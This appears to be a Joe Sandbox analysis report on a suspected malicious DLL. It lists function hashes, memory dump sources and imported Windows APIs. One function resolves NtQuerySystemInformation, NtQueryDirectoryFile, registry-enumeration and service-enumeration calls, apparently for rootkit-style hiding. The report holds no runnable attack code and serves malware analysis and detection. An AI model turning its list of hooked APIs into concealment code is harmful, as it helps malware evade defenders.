Snapshot File: hcaresult_13_2_7ffd9bac0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e344797771211afc2922f3019d55a4f8fb148a534a150d235a105b698c9fa132
Instruction ID: 37561cc99fba4c4a75c123d74ec4938d095c2c28f34b93093d011dff97ad01d9
Opcode Fuzzy Hash: e344797771211afc2922f3019d55a4f8fb148a534a150d235a105b698c9fa132
Instruction Fuzzy Hash: A7C08C04F0B40F00F83037EE14220BCB1005BC8A10FD30172D01C820E19CDE22C5024E

Function 00007FFD9BAC0B18 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2268390774.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bac0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3dedf454f7692e0b85d34c5aa416074987a7efe8b922ee06db73ba81e38974e9
Instruction ID: ecfed8b3b76ce94b907b430627e77be1048cf3367c9bcc31241cdeac3c49912f
Opcode Fuzzy Hash: 3dedf454f7692e0b85d34c5aa416074987a7efe8b922ee06db73ba81e38974e9
Instruction Fuzzy Hash: 25C08C309128088FC900F72CC88486032A0FB0D210BC20090E00DC7170E25AAC80C700

Function 00007FFD9BAC12C0 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2268390774.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bac0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5da3138150c8c4d38575ff7b1ebdee873a9ccce04f569dd979f2fd76cd16bac7
Instruction ID: 02084ac3a678574cf59fb6e9f57bf3cc6e284d02a723994a3ed6baa7642c88f0
Opcode Fuzzy Hash: 5da3138150c8c4d38575ff7b1ebdee873a9ccce04f569dd979f2fd76cd16bac7
Instruction Fuzzy Hash: EEC08C3091180C8FC908FB29C88482833A0FB09300BC20090E00ECB170D259DCC1C741

Function 00007FFD9BECE79B Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 398eeaebebad6b90807c6ee95372bb9b429cfa95b9b76b89aeefc9fb2f23da11
Instruction ID: 91b402828e8b6ed5f59731700111df0befd22b8f6ad5514cccdf922dfbd6bb37
Opcode Fuzzy Hash: 398eeaebebad6b90807c6ee95372bb9b429cfa95b9b76b89aeefc9fb2f23da11
Instruction Fuzzy Hash: BAD0C914B1F55F85F178B681813063D219E5F40700E3201BDF15F419E1CD1F7B016202

Function 00007FFD9BECBAF0 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7164194e321ff11a9c5b58660fdeb581821e2c8107603c55c42c51c06a3cb97c
Instruction ID: e2a41966dd02cfa5d16168fbe1560e699121a58175874bfc84ccdcfe96eb81c5
Opcode Fuzzy Hash: 7164194e321ff11a9c5b58660fdeb581821e2c8107603c55c42c51c06a3cb97c
Instruction Fuzzy Hash: A7C0022471581D9FD6A8EB59C0A4A3873D5EF49301B9180B4E44FCB2B6C929AE45AA10

Function 00007FFD9BEC921B Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10794532f01fcdd1f7ed052cc2b25794a36db1ebe5a0981f52805dee9c55737f
Instruction ID: 4b62d10403cdb35dc1e76b7a395a0516a306bb925f120b6d82a3d77b5c3796e0
Opcode Fuzzy Hash: 10794532f01fcdd1f7ed052cc2b25794a36db1ebe5a0981f52805dee9c55737f
Instruction Fuzzy Hash: 69D0921CB0F54B85F63A6A91617823A25ADAF02701E620479D09F41AE1CA1EB7016602

Function 00007FFD9BEC41EB Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f96dc482758f563d212391642b450211f498e3e28470d008ca30198629bc8be
Instruction ID: 7fdca9bca40fd5689448522cd934acc5cce8e43a5b4cea3e5a814a8db945516f
Opcode Fuzzy Hash: 2f96dc482758f563d212391642b450211f498e3e28470d008ca30198629bc8be
Instruction Fuzzy Hash: 6CD0C924B0F55F87F53A6A81803123911B96F10304E32443DD0BF559E1CD1FBB126211

Function 00007FFD9BEC13FE Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23294e8329de63afd1a99c1cbfdf5ed9e991c20d9f75d22e24108b892e94881c
Instruction ID: f9ee0582b0d01e616e062f48dd63fa17766c6c836b07f8e2c110c2cd3d99489b
Opcode Fuzzy Hash: 23294e8329de63afd1a99c1cbfdf5ed9e991c20d9f75d22e24108b892e94881c
Instruction Fuzzy Hash: A1C08C42F0F04B41FA20316000392FD83058F22300F2B10B6C048070A38C1A26120201

Function 00007FFD9BAC1F11 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2268390774.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bac0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7b0d7f4884ea56e0602604a0cd8132dafcfb8b3b76d73a7d04ff4c68d1ae71e
Instruction ID: 3e02a0f2f4822d05f101cfe7ee734813d212a5660f6b41707258cd2a9aa878e8
Opcode Fuzzy Hash: c7b0d7f4884ea56e0602604a0cd8132dafcfb8b3b76d73a7d04ff4c68d1ae71e
Instruction Fuzzy Hash: 27C04C02F1D82A47F35E661444719BD54535F9575CF550175E01D8B3DECE5C6A4202C7

Function 00007FFD9BEC8750 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1fe486da60a254a16dacb6fb08c19d3cf327f36f883dd5d1f0ba531e12c20af
Instruction ID: e97a306a234521f50186b3ba54d030eb8d07582a74d87513fc8cae33ee065a9d
Opcode Fuzzy Hash: d1fe486da60a254a16dacb6fb08c19d3cf327f36f883dd5d1f0ba531e12c20af
Instruction Fuzzy Hash: A2B09212F0A20F86E23410E406A807C438A4FC51456620B32812E931A1ECAB2A061111

Function 00007FFD9BAC06C8 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2268390774.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bac0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c2280642933cc34031294108ec29d092611aeaf534f60aa8142bbd2019baff1
Instruction ID: 4364d99676a9719023cfff381406436e8ecac0f8809650e760f7a1cc39224d59
Opcode Fuzzy Hash: 1c2280642933cc34031294108ec29d092611aeaf534f60aa8142bbd2019baff1
Instruction Fuzzy Hash: D6B01204D5744F00E83433FA086307870405B48100FC201B0D40C8109198CE1294134A

Function 00007FFD9BEC3721 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4e95a14c2647f1d1b36ae475ffbc7dca0bdbb9bec062749b878f3ab36a6883c
Instruction ID: ccd031dd69c2e7c4985f3a6e9260e2ac76dbb39c7037a2afe4eee2466581211e
Opcode Fuzzy Hash: f4e95a14c2647f1d1b36ae475ffbc7dca0bdbb9bec062749b878f3ab36a6883c
Instruction Fuzzy Hash: CEB01244F0F60B53F63220F004B607D00440B04244E230B30D22B493F3DCAE3A101190

Function 00007FFD9BECDCB3 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2276779366.00007FFD9BEC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BEC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd9bec0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b1fbb5491fa3eb95da0fb725a89889ec682eaad4adc35ce2d41d77ed5c6e52e
Instruction ID: 1f4197b6b8139d2807e6ce38a485226ab5bfc26f9f636c9ef01326dfa7a08af8
Opcode Fuzzy Hash: 9b1fbb5491fa3eb95da0fb725a89889ec682eaad4adc35ce2d41d77ed5c6e52e
Instruction Fuzzy Hash: F3B01200F0E20F47F530B0F0047007C00490B85344B564934E20B462E3DC8F3E001250

Non-executed Functions

Function 1AFF7E70 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 1AFF7E8C
RtlCaptureContext.NTDLL ref: 1AFF7EB9
RtlLookupFunctionEntry.NTDLL ref: 1AFF7ED3
RtlVirtualUnwind.NTDLL ref: 1AFF7F14
IsDebuggerPresent.KERNEL32 ref: 1AFF7F68
SetUnhandledExceptionFilter.KERNEL32 ref: 1AFF7F89
UnhandledExceptionFilter.KERNEL32 ref: 1AFF7F94

Memory Dump Source

Source File: 0000000D.00000002.2258280658.000000001AFF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1AFF0000, based on PE: true

Associated: 0000000D.00000002.2258280658.000000001B00A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B00C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B015000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1aff0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 1239a149ef62a939d07da7a6345777f7e6476c10c46ebdc58c2fff80381e5b80
Instruction ID: 2c7708a0604df97b5bc4d051ef84cd0b7d15d6eef679da74800e25310aa5e55b
Opcode Fuzzy Hash: 1239a149ef62a939d07da7a6345777f7e6476c10c46ebdc58c2fff80381e5b80
Instruction Fuzzy Hash: B9312077205B819AEB659F64E8907DF7364F788744F44442ADA4E47BA8EF38C648C710

Function 1AFFB50C Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 1AFFB585
RtlLookupFunctionEntry.NTDLL ref: 1AFFB59D
RtlVirtualUnwind.NTDLL ref: 1AFFB5D8
IsDebuggerPresent.KERNEL32 ref: 1AFFB611
SetUnhandledExceptionFilter.KERNEL32 ref: 1AFFB61B
UnhandledExceptionFilter.KERNEL32 ref: 1AFFB626

Memory Dump Source

Source File: 0000000D.00000002.2258280658.000000001AFF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1AFF0000, based on PE: true

Associated: 0000000D.00000002.2258280658.000000001B00A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B00C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B015000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1aff0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: b9fdfb6abdc39c0bfa3e984213bb5a27592c3a0080b3e524afb5147b282a99cd
Instruction ID: 67eb5793041cb37fbe38f8409d451014c1b5a4e01b5fe48a97e1ebeb570cb056
Opcode Fuzzy Hash: b9fdfb6abdc39c0bfa3e984213bb5a27592c3a0080b3e524afb5147b282a99cd
Instruction Fuzzy Hash: 14315C37214F849ADB21DF25E88039F73A4F788B98F900526EA9D47B68EF38C555CB00

Function 1AFFFEF8 Relevance: 7.8, APIs: 5, Instructions: 328fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 1AFFFF67
WriteFile.KERNEL32 ref: 1B00021E
WriteFile.KERNEL32 ref: 1B000270
GetLastError.KERNEL32 ref: 1B000372
GetLastError.KERNEL32 ref: 1B0003D2

Memory Dump Source

Source File: 0000000D.00000002.2258280658.000000001AFF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1AFF0000, based on PE: true

Associated: 0000000D.00000002.2258280658.000000001B00A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B00C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B015000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1aff0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID: ErrorFileLastWrite$ConsoleOutput
String ID:
API String ID: 1443284424-0
Opcode ID: 85b244371d408b05e75db82bfcedca3f922ea5a775ba2aedb63ed3d562987fa1
Instruction ID: 8704fd759d15469bafd0722a868b7004c1d9297ef5b5936b214881983cdd3bc7
Opcode Fuzzy Hash: 85b244371d408b05e75db82bfcedca3f922ea5a775ba2aedb63ed3d562987fa1
Instruction Fuzzy Hash: ECD1CE72B14B849AE706CF64D4802DE7BB1F349BD8F508516EE8A57B68EE38C55AC700

Function 1AFF12C8 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120memoryregistrystringCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 1AFF1326
GetProcessHeap.KERNEL32 ref: 1AFF1334
RtlAllocateHeap.NTDLL ref: 1AFF1345
RegEnumValueW.ADVAPI32 ref: 1AFF13A1

Part of subcall function 1AFF1554: StrCmpIW.SHLWAPI ref: 1AFF1585

GetProcessHeap.KERNEL32 ref: 1AFF13E9
RtlAllocateHeap.NTDLL ref: 1AFF13F7
GetProcessHeap.KERNEL32 ref: 1AFF141B
HeapFree.KERNEL32 ref: 1AFF1429
lstrlenW.KERNEL32 ref: 1AFF1432
GetProcessHeap.KERNEL32 ref: 1AFF1440
RtlAllocateHeap.NTDLL ref: 1AFF144E
StrCpyW.SHLWAPI ref: 1AFF1470
GetProcessHeap.KERNEL32 ref: 1AFF1485
HeapFree.KERNEL32 ref: 1AFF1493

Strings

d, xrefs: 1AFF1365

Memory Dump Source

Source File: 0000000D.00000002.2258280658.000000001AFF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1AFF0000, based on PE: true

Associated: 0000000D.00000002.2258280658.000000001B00A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B00C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B015000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1aff0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID: Heap$Process$Allocate$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2772000396-2564639436
Opcode ID: b748d707dce532ba85059e887555c778ed1ca062867acd86e7106c3b72fc9f19
Instruction ID: d451e9c3e6bac68f82e35ea97a57348cd29d160d527a433bb12cc3d4e17f4990
Opcode Fuzzy Hash: b748d707dce532ba85059e887555c778ed1ca062867acd86e7106c3b72fc9f19
Instruction Fuzzy Hash: 60516B76214B8497EB15DF62E58839BB3A1F78DBC4F448125EB8907B24DF38C166CB40

Function 1AFF1EB4 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 1AFF1EBF

Part of subcall function 1AFF2174: GetModuleHandleA.KERNEL32 ref: 1AFF218C
Part of subcall function 1AFF2174: GetProcAddress.KERNEL32 ref: 1AFF219D

Part of subcall function 1AFF5C10: GetCurrentThreadId.KERNEL32 ref: 1AFF5C4B

Strings

NtQuerySystemInformation, xrefs: 1AFF1EE5
NtEnumerateKey, xrefs: 1AFF1F59
advapi32.dll, xrefs: 1AFF1F97, 1AFF1FB8
NtDeviceIoControlFile, xrefs: 1AFF1FF6
EnumServiceGroupW, xrefs: 1AFF1F90
NtQueryDirectoryFileEx, xrefs: 1AFF1F3C
NtEnumerateValueKey, xrefs: 1AFF1F76
NtResumeThread, xrefs: 1AFF1F02
EnumServicesStatusExW, xrefs: 1AFF1FB1, 1AFF1FD2
ntdll.dll, xrefs: 1AFF1ECD
sechost.dll, xrefs: 1AFF1FD9
NtQueryDirectoryFile, xrefs: 1AFF1F1F

Memory Dump Source

Source File: 0000000D.00000002.2258280658.000000001AFF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1AFF0000, based on PE: true

Associated: 0000000D.00000002.2258280658.000000001B00A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B00C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B015000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1aff0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 4311b3b4e112faf7cd717d4cb8614ddd441db72e36ac1e322346e5d8367ce93d
Instruction ID: 1c19ea0c2c63885203a2b88a132fe25f1d6ed06530b9f2738549dd07ae2efe79
Opcode Fuzzy Hash: 4311b3b4e112faf7cd717d4cb8614ddd441db72e36ac1e322346e5d8367ce93d
Instruction Fuzzy Hash: 8931E97A612A4AA5EF0AEFA8EC507D63321B7493C4FC04923E51913175DF39C69EC381

Function 1AFF104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 97memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 1AFF10AB
RegEnumValueW.ADVAPI32 ref: 1AFF110E
GetProcessHeap.KERNEL32 ref: 1AFF1155
RtlAllocateHeap.NTDLL ref: 1AFF1163
GetProcessHeap.KERNEL32 ref: 1AFF1187
HeapFree.KERNEL32 ref: 1AFF1195

Strings

d, xrefs: 1AFF10CE

Memory Dump Source

Source File: 0000000D.00000002.2258280658.000000001AFF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1AFF0000, based on PE: true

Associated: 0000000D.00000002.2258280658.000000001B00A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B00C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B015000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1aff0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID: Heap$Process$AllocateEnumFreeInfoQueryValue
String ID: d
API String ID: 1572912380-2564639436
Opcode ID: ed3eaeac9b5240f017c69614fb8be245425dbd9313f990ab10755c486963d35d
Instruction ID: 84d747351bab65121b93fecfc0bd46159ee6bba903ba414d50a60d06c16917f8
Opcode Fuzzy Hash: ed3eaeac9b5240f017c69614fb8be245425dbd9313f990ab10755c486963d35d
Instruction Fuzzy Hash: B3417F33614B80D7D765CF62E44479AB7A5F389B84F00862AEB8907B28DF38D169CB04

Function 1AFC69F0 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 1AFC6A18
__scrt_acquire_startup_lock.LIBCMT ref: 1AFC6A6A
_RTC_Initialize.LIBCMT ref: 1AFC6A98
__scrt_dllmain_after_initialize_c.LIBCMT ref: 1AFC6ABE
__scrt_release_startup_lock.LIBCMT ref: 1AFC6AE9

Memory Dump Source

Source File: 0000000D.00000002.2257956900.000000001AFC0000.00000040.00000400.00020000.00000000.sdmp, Offset: 1AFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1afc0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 95b57d6277a84fb56418f177327e884c31f38a66bae6651e6bdbad69dc24b832
Instruction ID: 08616be5bff5771810e41af215a24cc1574103d26621d77c899afae118010f7d
Opcode Fuzzy Hash: 95b57d6277a84fb56418f177327e884c31f38a66bae6651e6bdbad69dc24b832
Instruction Fuzzy Hash: 0471367570838786EB91DBA79840B997390FB86B80F84A43ADE484371EFF39E4468711

Function 1AFF75F0 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 1AFF7618
__scrt_acquire_startup_lock.LIBCMT ref: 1AFF766A
_RTC_Initialize.LIBCMT ref: 1AFF7698
__scrt_dllmain_after_initialize_c.LIBCMT ref: 1AFF76BE
__scrt_release_startup_lock.LIBCMT ref: 1AFF76E9

Memory Dump Source

Source File: 0000000D.00000002.2258280658.000000001AFF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1AFF0000, based on PE: true

Associated: 0000000D.00000002.2258280658.000000001B00A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B00C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B015000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1aff0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 95b57d6277a84fb56418f177327e884c31f38a66bae6651e6bdbad69dc24b832
Instruction ID: 1044ea9ab2552314755c48ce0512c73b4eeccab27243a6d5aa2fe174c0dbf682
Opcode Fuzzy Hash: 95b57d6277a84fb56418f177327e884c31f38a66bae6651e6bdbad69dc24b832
Instruction Fuzzy Hash: 8B713837B1078686E7019B6AE88039AF390BB8ABC0F944D26DE08C7736DF78C445C720

Function 1AFF30B4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 1AFF30D7
RtlAllocateHeap.NTDLL ref: 1AFF30EA
StrCmpNIW.SHLWAPI ref: 1AFF316B
GetProcessHeap.KERNEL32 ref: 1AFF31D1
HeapFree.KERNEL32 ref: 1AFF31DF

Strings

dialer, xrefs: 1AFF3164

Memory Dump Source

Source File: 0000000D.00000002.2258280658.000000001AFF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1AFF0000, based on PE: true

Associated: 0000000D.00000002.2258280658.000000001B00A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B00C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B015000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1aff0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID: Heap$Process$AllocateFree
String ID: dialer
API String ID: 576844849-3528709123
Opcode ID: 5b923b6f3d4b051af17e4e8faeca1d1198f97f66eaed8709a0f00f88d373bc4e
Instruction ID: ed91161a8005a16116f797edc5cb8ec89ef14eec24b883b7ec4bf0c0a34cfa22
Opcode Fuzzy Hash: 5b923b6f3d4b051af17e4e8faeca1d1198f97f66eaed8709a0f00f88d373bc4e
Instruction Fuzzy Hash: 91319032B01B5992EB06DF56E8447AA7360FB48BC4F068A219F9807B35EF38D4A5C710

Function 1AFF9804 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 1AFF9889
GetLastError.KERNEL32 ref: 1AFF9897
LoadLibraryExW.KERNEL32 ref: 1AFF98C1
FreeLibrary.KERNEL32 ref: 1AFF9907
GetProcAddress.KERNEL32 ref: 1AFF9913

Strings

api-ms-, xrefs: 1AFF98A9

Memory Dump Source

Source File: 0000000D.00000002.2258280658.000000001AFF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1AFF0000, based on PE: true

Associated: 0000000D.00000002.2258280658.000000001B00A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B00C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B015000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1aff0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: b7fd7646394baccca3f1b1048765e4d0241f371571e58ba301572f288adf5d58
Instruction ID: 3c61772ce37791b8530faad7f1d6fe198cdb7d7ec1b1a0e6afbf6ea37717d329
Opcode Fuzzy Hash: b7fd7646394baccca3f1b1048765e4d0241f371571e58ba301572f288adf5d58
Instruction Fuzzy Hash: 4B31A833312B90A5EE12EB52A88079A7394F74DBA0F574929ED6D87324EF38C049C310

Function 1AFF5C10 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 1AFF5C4B
GetThreadContext.KERNEL32 ref: 1AFF5DB5

Part of subcall function 1AFF5A40: GetCurrentThreadId.KERNEL32 ref: 1AFF5A44

Memory Dump Source

Source File: 0000000D.00000002.2258280658.000000001AFF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1AFF0000, based on PE: true

Associated: 0000000D.00000002.2258280658.000000001B00A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B00C000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.2258280658.000000001B015000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1aff0000_ServerComponenthostMonitorDll.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 52f3b0a83a9fc5b22f41d8404852d8b34c9dcd72dd37eace61d9b8d2680426a2
Instruction ID: 1c62934dc3beefd1b88ba1a519e92a7e79f2db264a17861db07cec31be9e7f32
Opcode Fuzzy Hash: 52f3b0a83a9fc5b22f41d8404852d8b34c9dcd72dd37eace61d9b8d2680426a2
Instruction Fuzzy Hash: E6C18477209B8886DA60DB1AE49435AB7A0F3C8B88F510616EECD87B79DF3DC541CB10

Function 1AFF1A14 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 1AFF1A3A
K32GetModuleFileNameExW.KERNEL32 ref: 1AFF1A58
PathFindFileNameW.SHLWAPI ref: 1AFF1A67
lstrlenW.KERNEL32 ref: 1AFF1A73
StrCpyW.SHLWAPI ref: 1AFF1A86
